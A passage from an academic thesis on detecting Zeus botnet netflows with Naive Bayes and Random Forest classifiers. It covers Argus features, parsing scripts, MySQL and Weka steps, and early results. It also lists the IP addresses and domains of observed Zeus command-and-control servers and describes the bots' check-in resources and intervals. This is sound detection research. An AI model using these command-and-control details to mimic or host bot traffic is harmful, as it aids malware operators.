tcprtt TCP connection setup round-trip time - 
sum of ’synack’ and ’ackdat’ 

float without asterisk Y 

synack TCP connection setup time - time between 
SYN and SYN_ACK packets 

float without asterisk Y 

ackdat TCP connection setup time - time between 
SYN_ACK and ACK packets 

float without asterisk Y 

tcpopt The TCP connection options seen at in fixed positions Y 
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Feature Description Sample Results Useful 

initiation 

inode ICMP intermediate node IPv4 address Y 

offset record byte offset in file or stream incrementing int Y 

srcid argus source identifier Always 0.0.0.0 N 

trans aggregation record count Always 1 N 

runtime total active flow run time same as dur N 

mean average duration of aggregated records same as dur N 

stddev standard deviation of aggregated duration 
times 

Always 0.000000 N 

sum total accumulated durations of aggregated 
records 

same as dur N 

min minimum duration of aggregated records same as dur N 

max maximum duration of aggregated records same as dur N 

sco source IP address country code blank   N 

dco destination IP address country code blank   N 

smpls source MPLS identifier blank   N 

dmpls destination MPLS identifier blank   N 

psloss percent source pkts retransmitted or 
dropped 

does not work N 

pdloss percent destination pkts retransmitted or 
dropped 

does not work N 

sgap source bytes missing in data stream. 
Available after argus-3.0.4 

zero or blank N 

dgap destination bytes missing in data stream. 
Available after argus-3.0.4 

zero or blank N 

sintdist source interpacket arrival time distribution blank   N 

sintdistact source active interpacket arrival time 
(mSec) 

blank   N 

sintdistidl source idle interpacket arrival time (mSec) blank   N 
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Feature Description Sample Results Useful 

dintdist destination interpacket arrival time 
distribution 

blank   N 

dintdistact destination active interpacket arrival time 
distribution (mSec) 

blank   N 

dintdistidl destination idle interpacket arrival time 
distribution 

blank   N 

sjitidle source idle jitter (mSec) does not work N 

djitidle destination idle jitter (mSec) does not work N 

suser source user data buffer blank   N 

duser destination user data buffer blank   N 

svlan source VLAN identifier blank   N 

dvlan destination VLAN identifier blank   N 

svid source VLAN identifier blank   N 

dvid destination VLAN identifier blank   N 

svpri source VLAN priority blank   N 

dvpri destination VLAN priority blank   N 

srng start time for the filter timerange blank   N 

erng end time for the filter timerange blank   N 

spktsz histogram for src packet size distribution blank   N 

smaxsz maximum packet size for traffic 
transmitted by the src 

blank   N 

dpktsz histogram for dst packet size distribution blank   N 

dmaxsz maximum packet size for traffic 
transmitted by the dst 

blank   N 

sminsz minimum packet size for traffic 
transmitted by the src 

blank   N 

dminsz minimum packet size for traffic 
transmitted by the dst 

blank   N 
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     This process resulted in the conversion of all files of packets into files of netflows 

consisting of 40 features. The next step was to parse relevant information from the 

interaction logs, namely the time and type of interaction.  Parsing the interaction logs 

required multiple steps which are described in Table 3-6.  Again scripts were used to 

iteratively process lists of files.  

 
Table 3-6. Procedure for Parsing Interaction Logs 

1. Rename daily log files to 

YYYY-MM-DD (for datetime)  

mv “1 July,Monday.htm” 2013-07-01 

2. Create a list of log files ll 2013-* | awk '{ print $9 }' >> 

loglist 

3. Extract URL and APP 

entries, maintaining sequence, 

output to subdirectory since 

names collide 

#!/bin/bash 

# use with list of filenames 

for i in $(cat loglist); do grep 

'class="url"\|class="app"' $i > out/$i ; 

done 

4. In subdirectory, parse 

relevant fields to new files, 

adding date from filename  

#!/bin/bash 

for i in $(cat ../loglist); do awk -F'"' 

'{print FILENAME "T" $4 "," $2 "," $6 }' 

$i > $i.parsed ; done 

5. Combine results into single 

file 

cat *.parsed >> allParsed1 

6. Keep only domain portion of 

URL field 

cat allParsed1 | awk -F'/' '{ print $1}' 

> parsedLogs 

 

     Step 3 in Table 3-6 illustrates that only those log entries resulting from the use of a 

browser or software application, signified by the classes “url” and “app” respectively, 

were considered.  These interactions were most likely to generate network traffic.  Step 5 
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in Table 3-6 illustrates that all entries selected from the individual interaction log files 

were concatenated into a single file for subsequent use.   

     The next phase of the data preparation process was to create tables in a relational 

database and load the respective data types into these tables.  The goal was to simplify 

the process of creating integrated data sets for training and testing the classifiers.  The 

MySQL software was used for this purpose.  Once MySQL was properly installed and 

configured for use, the first step was to create a table for the benign netflows.  Figure 3-8 

illustrates the SQL command for creating a table called “normflows” with the 40 features 

equating to those previously selected and used in the Argus configuration file. 

mysql> create table normflows 

(time datetime, proto varchar(5),  

saddr varchar(16), sport varchar(6),  

daddr varchar(16), dport varchar(6),  

dur decimal(12,6), sbytes int, dbytes int, stos int, dtos int,  

sttl int, dttl int, spkts int, dpkts int, sappbytes int,  

dappbytes int, sload decimal(12,6), dload decimal(12,6),  

srate decimal(12,6), drate decimal(12,6), sloss int, dloss int,  

sintpkt decimal(12,6), dintpkt decimal(12,6),  

sjit decimal(12,6), djit decimal(12,6), state varchar(4), 

stcpb bigint, dtcpb bigint, tcprtt decimal(12,6),  

synack decimal(12,6), ackdat decimal(12,6), inode varchar(16),  

offset int, flgs tinytext, tcpopt tinytext, dir tinytext,  

rate decimal(12,6), ltime datetime, 

id int not null auto_increment primary key); 

Figure 3-8. Create Table for Netflow Features 

 

     Figure 3-8 highlights the choices made regarding the format for storing each feature.  

For example, times were stored in “datetime” format (YYYY-MM-DD HH:MM:SS) with 
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resolution to the second.  Fixed position strings, such as flgs, tcpopt, and dir, were stored 

in tinytext format to enable string functions such as field() to be used on them.  IP 

addresses were stored in “varchar” format which enabled retrieval as the common dot-

value string or as a numeric value using the inet_aton() function. 

     The same procedure was used to create tables for the Zeus samples, one table named 

“oldzeus” and one named “newzeus” for the 2010 and 2014 Zeus data respectively.  The 

table for the interaction log data was much simpler, consisting of only three features.  

Figure 3-9 illustrates the command for creating the table “interlogs” for the interaction 

log data.  The time was again stored in “datetime” format with resolution to the second.  

However, the event times were captured with resolution only to the minute. 

mysql> create table interlogs (time datetime, event varchar(4), 

ampl varchar(64), id int not null auto_increment primary key); 

Figure 3-9. Create Tables for Interaction Log Entries 

     Loading data into the database tables included a preprocessing step to select only 

netflows of TCP connections.  First, all of the netflow files were combined into aggregate 

files for each month (April, May, June, and July) using the cat command.  Then the 

TCP entries were selected using the grep command.  This resulted in the numbers of 

lines seen in Table 3-7.  The files of TCP netflows for each month were then combined 

into a single file, again using the cat command, in preparation for loading into the 

database table. 

Table 3-7.  Volume of Benign TCP Netflows 

Input File # Total Lines Output File # TCP Lines 

ra-all-04 793,891 all-tcp-apr 487,490 
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ra-all-05 799,754 all-tcp-may 461,306 

ra-all-06 940,800 all-tcp-jun 570,442 

ra-all-07 426,424 all-tcp-jul 240,457 

Total 2,960,869 Total 1,759,695 

 

     The command for loading the benign TCP netflows into the database is illustrated in 

Figure 3-10.  The same procedure was used to load the Zeus netflows and interaction log 

entries into their respective database tables.  This resulted in 151 TCP netflows of “old” 

Zeus (2010 samples) and 269 TCP netflows of “new” Zeus (2014 samples). 

mysql> load data local infile '/home/theo/work/all-tcp-flows' 

into table normflows fields terminated by ','; 

Figure 3-10. Load Netflow Data into MySQL Table 

 

     At this point, creating integrated data files for use with the classifiers in the Weka 

toolkit required exporting the desired data from the database tables, merging the 

malicious data with the benign data, labeling the data as normal (norm) or Zeus, and 

appending the ARFF (Attribute Relation File Format) header.  Adding the interaction 

feature to the integrated data files required an additional step that compared the netflow 

times with the event log times.  Figure 3-11 illustrates a MySQL command to select the 

40 predetermined features from the table of benign netflows (normflows) for a specific 

time period and export the results to a comma-separated-value (CSV) file.  
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mysql> select unix_timestamp(time), proto, inet_aton(saddr), 

sport, inet_aton(daddr), dport, dur, sbytes, dbytes, stos, dtos, 

sttl, dttl, spkts, dpkts, sappbytes, dappbytes, sload, dload, 

srate, drate, sloss, dloss, sintpkt, dintpkt, sjit, djit, state, 

stcpb, dtcpb, tcprtt, synack, ackdat, flgs, tcpopt, dir, rate 

from normflows where time > "2013-04-02 05:00:00" and time < 

"2013-04-02 07:00:00" into outfile '2hr.txt' fields terminated by 

',' enclosed by '"' lines terminated by '\n'; 

Figure 3-11. Selecting a Data Sample from the Database with Unix Time Format 

 

Note that the function unix_timestamp() was used to return the timestamp as a 

numeric value, and the function inet_aton() was used to return the source and 

destination IP addresses as numeric values.  Removing spaces from the fixed field values 

and appending the class value was accomplished with the following awk command: 

awk '{print $1 $2 $3 $4 $5 $6 $7 ",norm"}' 2hr.txt > 2hr.csv. 

This process of selecting from the database table, formatting, and appending the class 

value was repeated for the Zeus flows.  The appropriate Zeus table name, output 

filename, and class label were substituted in the select and awk commands. 

     The next step was to merge the resulting files of normal and Zeus netflows into a 

single file and append the ARFF header for use with the classifiers in Weka. When the 

time feature was to be considered by the classifiers, the Zeus netflows were inserted at 

appropriate temporal points in the normal netflow file and time values adjusted 

accordingly.  When the times were not to be considered by the classifiers, the Zeus 

netflows were simply appended to the end of the normal netflow file.   
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     For the companion data files with the interaction feature added, an additional 

procedure was required.  An awk script was used to compare netflow times from the 

integrated the trace file with event times from the interaction log and append a positive 

field-value (yy) to the netflow entry upon a successful match or a negative value (nn) for 

those entries that did not match.  The matching criteria consisted of numbers of seconds 

before and after the time to be compared.  Since the resolution of the timestamps for the 

interaction log was only recorded to the nearest minute, those times were used in the awk 

script as the basis.  An example of the awk script is provided in Figure 3-12.  The 

command to run the script against a single file is as follows: 

awk -f match30.awk infile > outfile 

where “infile” is the file of integrated normal and Zeus netflows and “outfile” is that same 

file with the interaction feature appended to each line based on the criteria in the script. 

# Name: match30.awk 

#  Desc: awk script using first field of log file (timestamp) 
#        as matching criteria for first field of trace file 
#  Usage: awk -f match30.awk <file> 
#  Comments: Expects time-to-second from unix_timestamp 
#            Currently set to plus or minus 30 seconds 
# T.O.Cochran    
# 

BEGIN { while ("cat appLog1" | getline) 

    tts[++i]=$1 
    FS="," 
} 

{ printf $0 

    for (i in tts) 
        if( $1 <= ( tts[i] + 30 ) && $1 >= ( tts[i] -30 ) ) { 
        print ",yy" 
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        next 
        } 
    print ",nn" 
} 

Figure 3-12. Script for Adding Interaction Feature 

 

     The ARFF header defined the type of value for each attribute, numeric or nominal 

(categorical).  Figure 3-13 illustrates the content of the ARFF header.  The possible 

values for each nominal attribute were provided within braces and separated by commas 

following the attribute name.  For example, the nominal attribute “proto” had two 

possible values, “tcp” and “udp.”   

 
 
@relation 2hr 
@attribute time numeric 
@attribute proto {tcp,udp} 
@attribute saddr numeric 
@attribute sport numeric 
@attribute daddr numeric 
@attribute dport numeric 
@attribute dur numeric 
@attribute sbytes numeric 
@attribute dbytes numeric 
@attribute stos {0,16,32} 
@attribute dtos {0,16,32,33,34,128} 
@attribute sttl 
{36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,5
7,64,80,81,84,86,108,109,110,111,112,113,116,117,121,128,233,234,
235,236,237,238,239,240,241,242,243,244,245} 
@attribute dttl 
{0,28,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49
,50,51,52,53,54,55,56,57,58,62,63,64,80,81,82,83,84,85,86,96,102,
103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,1
21,128,183,185,187,188,189,190,231,232,233,234,235,236,237,238,23
9,240,241,242,243,244,245,255} 
@attribute spkts numeric 
@attribute dpkts numeric 
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@attribute sappbytes numeric 
@attribute dappbytes numeric 
@attribute sload numeric 
@attribute dload numeric 
@attribute srate numeric 
@attribute drate numeric 
@attribute sloss 
{0,1,2,3,4,5,6,7,8,10,12,14,15,16,17,18,21,23,26,29,35,36,38,41,4
4,46,88,171,327} 
@attribute dloss 
{0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,4
6,47,48,49,50,51,53,54,55,56,57,58,61,62,63,67,69,71,74,75,76,77,
79,80,81,83,87,90,94,95,102,103,124,141,144,146,152,155,157,176,1
88,226} 
@attribute sintpkt numeric 
@attribute dintpkt numeric 
@attribute sjit numeric 
@attribute djit numeric 
@attribute state {ACC,CON,FIN,INT,RST,REQ,RSP} 
@attribute stcpb numeric 
@attribute dtcpb numeric 
@attribute tcprtt numeric 
@attribute synack numeric 
@attribute ackdat numeric 
@attribute flgs 
{"",e,ed,ei,er,es,e&,erD,eS,eU,e*,edS,eD,eUs,erS,eTs,eg,e&S,esS,e
&D,eiS,edD,egS} 
@attribute tcpopt {"",Ms,MsS,Mws,MwsS,MwsT,MwsST,T,S,ST} 
@attribute dir {"",->,<-,<->,<?>,?>,<?} 
@attribute rate numeric 
@attribute class {norm,zeus} 
@attribute interaction {yy,nn} 
@data 
// outfile records go here 

Figure 3-13. ARFF Header 
 

     The Weka tool kit includes a utility for validating the format of an ARFF data file 

prior to use with classifiers and other utilities.  The command line version of this utility is 

as follows: java weka.core.Instances file.arff where “file.arff” is the data 
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file with ARFF header.  In addition to identifying any formatting errors, this utility also 

summarizes the attribute values within the data file.  Figure 3-14 provides an example of 

the output of this utility. 

 
Relation Name:  2hr-i-all 
Num Instances:  4328 
Num Attributes: 39 
 
     Name            Type  Nom  Int Real     Missing      Unique  Dist 
   1 time             Num   0% 100%   0%     0 /  0%   285 /  7%   745  
   2 proto            Nom 100%   0%   0%     0 /  0%     0 /  0%     1  
   3 saddr            Num   0%  99%   1%     0 /  0%     1 /  0%    13  
   4 sport            Num   0% 100%   0%     0 /  0%   235 /  5%  1205  
   5 daddr            Num   0%  88%  12%     0 /  0%    17 /  0%   284  
   6 dport            Num   0% 100%   0%     0 /  0%    18 /  0%    28  
   7 dur              Num   0%  19%  81%     0 /  0%  3392 / 78%  3446  
   8 sbytes           Num   0% 100%   0%     0 /  0%   491 / 11%   626  
   9 dbytes           Num   0% 100%   0%     0 /  0%   642 / 15%   741  
  10 stos             Nom 100%   0%   0%     0 /  0%     0 /  0%     2  
  11 dtos             Nom 100%   0%   0%     0 /  0%     0 /  0%     4  
  12 sttl             Nom 100%   0%   0%     0 /  0%     1 /  0%     9  
  13 dttl             Nom 100%   0%   0%     0 /  0%     0 /  0%    43  
  14 spkts            Num   0% 100%   0%     0 /  0%    22 /  1%    57  
  15 dpkts            Num   0% 100%   0%     0 /  0%    39 /  1%    75  
  16 sappbytes        Num   0% 100%   0%     0 /  0%   439 / 10%   564  
  17 dappbytes        Num   0% 100%   0%     0 /  0%   619 / 14%   702  
  18 sload            Num   0%  55%  45%     0 /  0%  1913 / 44%  1927  
  19 dload            Num   0%  74%  26%     0 /  0%  1116 / 26%  1118  
  20 srate            Num   0%  55%  45%     0 /  0%  1853 / 43%  1888  
  21 drate            Num   0%  74%  26%     0 /  0%  1124 / 26%  1126  
  22 sloss            Nom 100%   0%   0%     0 /  0%     0 /  0%     4  
  23 dloss            Nom 100%   0%   0%     0 /  0%     1 /  0%     4  
  24 sintpkt          Num   0%  43%  57%     0 /  0%  2412 / 56%  2447  
  25 dintpkt          Num   0%  67%  33%     0 /  0%  1432 / 33%  1438  
  26 sjit             Num   0%  77%  23%     0 /  0%  1009 / 23%  1012  
  27 djit             Num   0%  80%  20%     0 /  0%   883 / 20%   884  
  28 state            Nom 100%   0%   0%     0 /  0%     0 /  0%     4  
  29 stcpb            Num   0%  51%  49%     0 /  0%  1010 / 23%  1934  
  30 dtcpb            Num   0%  45%  55%     0 /  0%  1000 / 23%  1731  
  31 tcprtt           Num   0%  12%  88%     0 /  0%   254 /  6%  1034  
  32 synack           Num   0%  12%  88%     0 /  0%   252 /  6%  1018  
  33 ackdat           Num   0%  12%  88%     0 /  0%   129 /  3%   704  
  34 flgs             Nom 100%   0%   0%     0 /  0%     0 /  0%     9  
  35 tcpopt           Nom 100%   0%   0%     0 /  0%     0 /  0%     7  
  36 dir              Nom 100%   0%   0%     0 /  0%     1 /  0%     4  
  37 rate             Num   0%  19%  81%     0 /  0%  3325 / 77%  3398  
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  38 class            Nom 100%   0%   0%     0 /  0%     0 /  0%     2  
  39 interaction      Nom 100%   0%   0%     0 /  0%     0 /  0%     2 

Figure 3-14. Sample Results of Validating an ARFF Data File 
 

Classifier Comparison Approach 

     The approach to comparing classifier results was to use the Weka command line 

interface with the data files of integrated normal and Zeus netflows described in the 

previous section.  The goal was to compare the performance of the classifiers in terms of 

true and false positive rates across a range of conditions, first without the interaction 

feature added, then with the interaction feature added.  The results of each classification 

attempt were sent to a file for subsequent visual inspection and comparative analysis.  

The final entry in each file of results was a confusion matrix which enumerated the true 

and false positives for each class.  Figure 3-15 illustrates this confusion matrix.  

=== Confusion Matrix === 
 
     a     b   <-- classified as 
 17052     0 |     a = norm 
     2     1 |     b = zeus 

Figure 3-15. Confusion Matrix in Results File 

     The command line interface of Weka made it easy to perform classification using 

cross validation within a data set and classification using separate training and testing 

data sets.  The former required the switch –t followed by the name of the single data set, 

and the latter required two switches, –t followed by the name of the training data set and 

–T followed by the name of the testing data set.  The switch –c followed by a number 

identified the position of the class attribute in the ARFF file.  Since the classifiers default 

to using the last attribute, this parameter was required for files with the interaction feature 
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added after the class attribute.  Figure 3-16 illustrates two commands, the first for 

classification of a single data file named “all.arff” using a Naïve Bayes classifier and ten-

fold stratified cross validation, and the second for classification of that same file using a 

Random Forest classifier with ten-fold stratified cross validation.  Figure 3-17 illustrates 

two commands, the first for classification using a Naïve Bayes classifier trained with the 

contents of “trn.arff” and tested with the contents of “tst.arff,” and the second for 

classification using a Random Forest classifier trained with the contents of “trn.arff” and 

tested with the contents of “tst.arff.” 

prompt$ java -Xmx2G weka.classifiers.bayes.NaiveBayes -t all.arff 

–c 38 > out1a 

prompt$ java -Xmx2G weka.classifiers.trees.RandomForest -t 

all.arff –c 38 > out1b 

Figure 3-16. Commands to Compare Classifier Results – Cross Validation 

 

prompt$ java -Xmx2G weka.classifiers.bayes.NaiveBayes -t trn.arff 

–c 38 -T tst.arff > out1a 

prompt$ java -Xmx2G weka.classifiers.trees.RandomForest -t 

trn.arff –c 38 –T tst.arff > out1b 

Figure 3-17. Commands to Compare Classifier Results – Separate Training/Testing 

 

     Another important element of the approach to comparing the results of the different 

classifiers was the ability to selectively remove attributes from consideration.  The Weka 

tool kit provided another utility for this purpose.  This utility took an input ARFF file, 

removed attributes identified by their ordered position, and produced an output ARFF 
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file.  The resulting ARFF file of fewer features was used in the same manner as the 

original.  Figure 3-18 shows an example of this utility being invoked from the command 

line and removing the first attribute with the –R switch followed by the number 1. 

prompt$ java weka.filters.unsupervised.attribute.Remove -R 

1 -i test1both.arff -o test1nodate.arff 

Figure 3-18. Command to Remove an Attribute 

 

Summary 

    The research approach presented in this chapter described all the steps needed in order 

to prepare relevant data for classification and then to actually perform the classification.  

Preparing relevant data included steps for generating and acquiring data from multiple 

sources, steps for integrating data, and steps for constructing and selecting features from 

the data.  The content of the data was described as were changes to the content over time. 

The use of Argus, MySQL, and Weka to support data preparation was discussed, as was 

the use of Weka to perform classification.   
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Chapter 4 

Results 

 

Data Analysis 

     The detailed analysis presented in Appendix A revealed new knowledge about the 

network behavior of contemporary variants of the Zeus botnet from samples captured in 

the wild during March and April of 2014.  This analysis also served to determine which 

of the network communications contained in the samples were most appropriate for the 

training and testing of detection techniques.  A total of fifteen sample network trace files 

were examined.  Seven of the samples, all those that employed the domain generation 

algorithm (DGA), were found to contain no HTTP POST requests and therefore deferred 

for publication elsewhere.  The infected clients in those samples did not send any content 

to the malicious servers, detection of which was the focus of this research.  Eight of the 

samples were found to contain POST requests with encrypted content, consistent with the 

communications behavior reported for Zeus by other researchers (Al-Bataineh & White, 

2012; Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef, Debbabi, & Wang, 2010; 

Riccardi, Di Pietro, Palanques, & Vila, 2013).  The HTTP requests and responses in each 

of these samples were thoroughly analyzed at the inter-packet level to gain deeper insight 

into their observable network behavior and to determine which corresponding netflows 

would be most appropriate for training and testing the detection techniques in this 

research.   
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     Discovering Zeus servers that were not previously reported was an expected outcome 

of this analysis given that these were new sample traces provided by the operators of 

Sandnet and that criminal operators of Zeus servers dynamically change hostnames and 

IP addresses to avoid detection.  After a thorough search of the Internet for information 

about the Zeus botnet, the ZeuS Tracker web site (https://zeustracker.abuse.ch/) was 

found to be the most comprehensive and authoritative reference for previously observed 

Zeus servers and therefore used in this research.  Table 4-1 lists the servers determined to 

be associated with Zeus network activity in these samples and highlights which Zeus 

servers were previously identified.  Six of the IP addresses and four of the domain names 

were new discoveries.   

Table 4-1.  Malicious Servers in Selected 2014 Zeus Samples 

Sample 
File 

Server IP Address Previously 
Known? 

Server Domain Name Previously 
Known? 

32c 173.255.227.44 No tandembikesoftware.com No 
32c 92.51.171.104 No moneytrax.de No 
b8c 37.0.123.150 No n/a n/a 
2d7 199.201.122.227 Yes ad-amirsarvi.ir Yes 
9ca 200.98.246.214 Yes saudeodontos.com.br Yes 
9ca 85.158.181.11 No www.two-of-us.at No 
054 92.63.98.3 No n/a n/a 
3f9 184.22.237.213 Yes crayolabank.ru Yes 
3f9 184.22.237.213 Yes bingbangtheory.ru Yes 
3b7 188.226.212.147 No delapotalcopa.pw No 
058 95.128.157.163 Yes www.decoagua.com Yes 
 

     Discovering new resource names and filenames was also an expected outcome of this 

analysis, since these are under the criminal operator’s control and would seem obvious 

items to change in order to elude detection techniques that rely on fixed strings.  

Discovering variations in the request intervals was also expected since this parameter is 

https://zeustracker.abuse.ch/
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also under the operator’s control and is enabled by the Zeus crimeware toolkit (Al-

Bataineh & White, 2012; Riccardi, Di Pietro, Palanques, & Vila, 2013).  An unexpected 

discovery was the use of the HTTP POST method by infected clients to request file 

updates.  None of the previous research teams (Al-Bataineh & White, 2012; Alserhani, 

Akhlaq, Awan, & Cullen, 2010; Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef, 

Debbabi, & Wang, 2010; Riccardi, Di Pietro, Palanques, & Vila, 2013) reported this 

technique in their findings.  The use of the POST method with an encrypted payload to 

request configuration files was observed in a majority of these 2014 samples as 

summarized in Table 4-2.  

Table 4-2. Summary of Selected 2014 Zeus Samples 

 9ca 2d7 3f9 
Config File Request Server 200.98.246.214 199.201.122.227 184.22.237.213 
Config File Request Method POST POST POST 
Config File Request Resource file.php file.php file.php 
Config File Request Interval 4 minutes 4 minutes 4 minutes 
Config File Response Filename config.dll  

cit_video_module 
cit_ffcookie_module 

config.dll  
cit_video_module 
cit_ffcookie_module 

config.dll 

Send Info Request Server 200.98.246.214 199.201.122.227 184.22.237.213 
Send Info Request Method POST POST POST 
Send Info Request Resource gate.php gate.php gate.php 
Send Info Request Interval 3 minutes 3 minutes 3 minutes 
Other File Request Server 85.158.181.11 Not observed Not observed 
Other File Request Method GET Not observed Not observed 
Other File Request Resource file.exe Not observed Not observed 

 
 058 b8c 3b7 
Config File Request Server 95.128.157.163 37.0.123.150 188.226.212.147 
Config File Request Method POST POST Not observed 
Config File Request Resource index.php o.bin Not observed 
Config File Request Interval Not observed 2 minutes Not observed 
Config File Response Filename deco.bin - Not observed 
Send Info Request Server 95.128.157.163 37.0.123.150 188.226.212.147 
Send Info Request Method POST POST POST 
Send Info Request Resource gate.php t.php post2host.php 
Send Info Request Interval Not observed 2 minutes Not observed 
Other File Request Server Not observed Not observed 188.226.212.147 
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Other File Request Method Not observed Not observed GET 
Other File Request Resource Not observed Not observed res.exe 

 
 054 32c Literature 
Config File Request Server 92.63.98.3 92.51.171.104  
Config File Request Method GET GET GET 
Config File Request Resource config.bin 

mod1.bin 
mod2.bin 
mod3.bin 

file.php config.bin 

Config File Request Interval 4 minutes Not observed  
Config File Response Filename - Not observed  
Send Info Request Server 92.63.98.3 92.51.171.104 

173.255.227.44 
 

Send Info Request Method POST POST POST 
Send Info Request Resource cde.php file.php gate.php 
Send Info Request Interval 3 minutes Not observed 2 minutes 
Other File Request Server Not observed Not observed  
Other File Request Method Not observed Not observed  
Other File Request Resource Not observed Not observed  
 

Only one of the eight sample files, file 054, included successful requests by the infected 

client for configuration file updates using the GET method as reported in the literature.  

File 32c, included requests by the infected client using the GET method which appeared 

to be for configuration file updates, but none of the requests resulted in a successful 

response. File 3b7 did not include a request for configuration file updates using either 

method but did include a request using the GET method for a supplemental file.  This 

followed an apparent command from the server in response to the previous request using 

the POST method.  This use of the GET method was also observed in file 9ca. 

     The use of the POST method with encrypted payload to request configuration file 

updates is significant for multiple reasons.  It represents a more sophisticated technique 

than the use of GET with no payload because it allows additional information to be sent 

along with the request.  This capability could be leveraged to reduce the frequency of 

network connections and reduce the malware’s overall footprint, for example.  This new 
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technique also alters the reported, and therefore expected, network behavior of a host 

infected with Zeus that some intrusion detection techniques may depend on.  

     Each of the eight sample files analyzed here were found to include TCP connections 

with Zeus HTTP requests and responses that were suitable for training and testing 

detection methods.  Only two of the files were missing primary elements of the Zeus 

communications pattern described as requesting and receiving updated configuration files 

and sending status updates and stolen data (Al-Bataineh & White, 2012; Alserhani, 

Akhlaq, Awan, & Cullen, 2010; Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef, 

Debbabi, & Wang, 2010; Kirk, 2010; Riccardi, Di Pietro, Palanques, & Vila, 2013).  In 

aggregate, the files presented a reasonably complete and diverse set of samples for this 

research.  Some previous researchers reported using a larger number of Zeus samples, but 

none reported using Zeus datasets with as much variety.  Mohaisen and Alrawi (2013) 

reported using a dataset of 1,980 Zeus samples but did not elaborate on the relative 

homogeneity of the data. Al-Bataineh and White (2012) reported that 239 examples in 

their dataset established connections with C&C servers.  They did not comment on the 

number of Zeus variants, but their findings suggested a homogeneous set.  Because the 

focus of their research was different, Alserhani, Akhlaq, Awan, and Cullen (2010), 

Binsalleeh et al. (2010) and Riccardi et al. (2013) used the Zeus crimeware toolkit to 

create a single variant of Zeus for their respective network analyses.  The sample files 

likely here represent at least five variants of Zeus, as depicted in Table 4-2, providing 

both a contemporary and a diverse set of netflows for the experimentation. 
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Experiments 

     Experimentation consisted of comparing the performance of two classifiers in terms of 

true and false positives across a range of controlled conditions, first without the user 

interaction feature added, then with this feature added.  The other controlled variables 

included the number of benign instances (netflows), the number of Zeus instances (also 

netflows), the number of features, the type of features (numeric and nominal), the type of 

Zeus instance, the size of the training and testing subsets, and the ratio of malicious 

instances in the training and testing subsets.  This comparison required an environment 

where the malware activities were known, therefore known bot malware activity was 

integrated with benign network trace data.  Observable parameters included a subset of 

those features of a TCP connection that the Argus software creates to describe a netflow.  

Benign network traffic was generated on an isolated test network.  Malicious network 

traffic was injected from samples of actual Zeus bot activity captured in the wild.   

     Experimentation with the netflow data was divided into separate rounds for each 

variation of instances or features. The first phase of each round did not include the 

interaction feature, the second phase did.  A single data set was used for both training and 

testing in the odd numbered rounds.  From that single data set, ten folds (internal subsets) 

were used for cross validation.  Separate data sets were used for training and testing in 

the even numbered rounds. When separate training and testing sets were used, their roles 

were reversed and the process repeated in order to reveal sensitivity to any particular 

training data. Mohaisen and Alrawi (2013) employed this technique in their assessment 

of five classifiers and found that training set selection significantly affected the 
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performance of their Decision Trees classifier (similar to a Random Forest).  Regarding 

the type of features, Haddadi, Runkel, Zincir-Heywood, and Heywood (2014) found that 

encoding certain flag features from netflows had a significant impact on classifier 

performance against Torpig and Zeus.   

 

Establish the performance of the classifiers across data sets of different sizes using 

only a small, homogeneous set of malicious samples for training and testing 

     The initial data sets consisted of two hours, 24 hours, and two weeks’ worth of benign 

network trace data, respectively.  The trace data was converted to netflows using the 

Argus software, as previously described.  Similarly, the samples of actual Zeus network 

traffic were also converted to netflows and then selectively added to the three data sets.  

The two-hour data set consisted of 4,313 benign flows and 15 Zeus flows, the 24-hour 

data set consisted of 7,800 benign flows and 15 Zeus flows, and the two-week data set 

consisted of 280,423 benign flows with 15 Zeus flows.   The Zeus netflows were drawn 

from multiple trace files and partitioned into subsets of eight and seven for rounds with 

separate training and testing, as depicted in Table 4-3.  These netflows represent (new) 

2014 Zeus examples of data being sent from the infected host to a remote server.   

Table 4-3. Zeus Samples Used in First Rounds of Experimentation 

daddr inet_aton(daddr) sport sbytes 
199.201.122.227 3351870179 1033 4123 
199.201.122.227 3351870179 1033 120 
199.201.122.227 3351870179 1036 894 
199.201.122.227 3351870179 1036 120 
184.22.237.213 3088510421 1032 968 
184.22.237.213 3088510421 1032 846 
184.22.237.213 3088510421 1032 698 
184.22.237.213 3088510421 1032 60 
200.98.246.214 3361928918 1032 3353 
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200.98.246.214 3361928918 1032 585 
200.98.246.214 3361928918 1032 60 
200.98.246.214 3361928918 1035 1712 
200.98.246.214 3361928918 1035 60 
200.98.246.214 3361928918 1040 8788 
200.98.246.214 3361928918 1040 60 

 

     For this set of experiments, the time feature was removed so the sequencing of the 

Zeus flows was not relevant.  In total, six features were removed from the base set of 38 

features using Weka’s Remove command.  Those six features, numbering 1, 2, 3, 4, 29, 

and 30 correspond to time, proto, saddr, sport, stcpb, and dtcpb, respectively.  Time was 

removed in order to allow processing by the Naïve Bayes classifier.  Protocol was 

removed because it had only the single value TCP.  Source Port and Source Address were 

removed because they were not relevant and because arbitrary changes would have to be 

made to the Zeus samples to synchronize the numbering schemes properly.  The Source 

and Destination TCP Base numbers were removed for the same reason.  They were 

produced on a different host than the benign traffic.  Preliminary experiments quickly 

revealed that the saddr, sport, stcpb, and dtcpb features artificially improved the 

performance of the Naïve Bayes classifier because the differences in values from the 

different source networks, home for benign and honeynet for Zeus, were statistically 

significant.  Celik, Raghuram, Kesidis, and Miller (2011) reported a similar condition for 

timing-based features, namely round-trip time (RTT), when ‘salting’ benign network 

traces with malicious samples obtained from a different network.  In Round 7 of this 

work, RTT is among the features removed for comparison. 

Table 4-4. Round 1-1 Results 

No interaction feature; 10-fold cross-validation 
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Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2hr NB 4313 15 15 1 505 .117 

2hr RF 4313 15 14 .933 0 0 

24hr NB 7800 15 14 .933 1480 .190 

24hr RF 7800 15 11 .733 0 0 

2wk NB 280423 15 14 .933 50604 .180 

2wk RF 280423 15 9 .600 0 0 

 

     Results using the two hour data set, the first two rows of Table 4-4, revealed what 

would become a clear trend: the Naïve Bayes classifier achieves a higher true positive 

rate at the expense of false positives, whereas the Random Forest classifier achieves a 

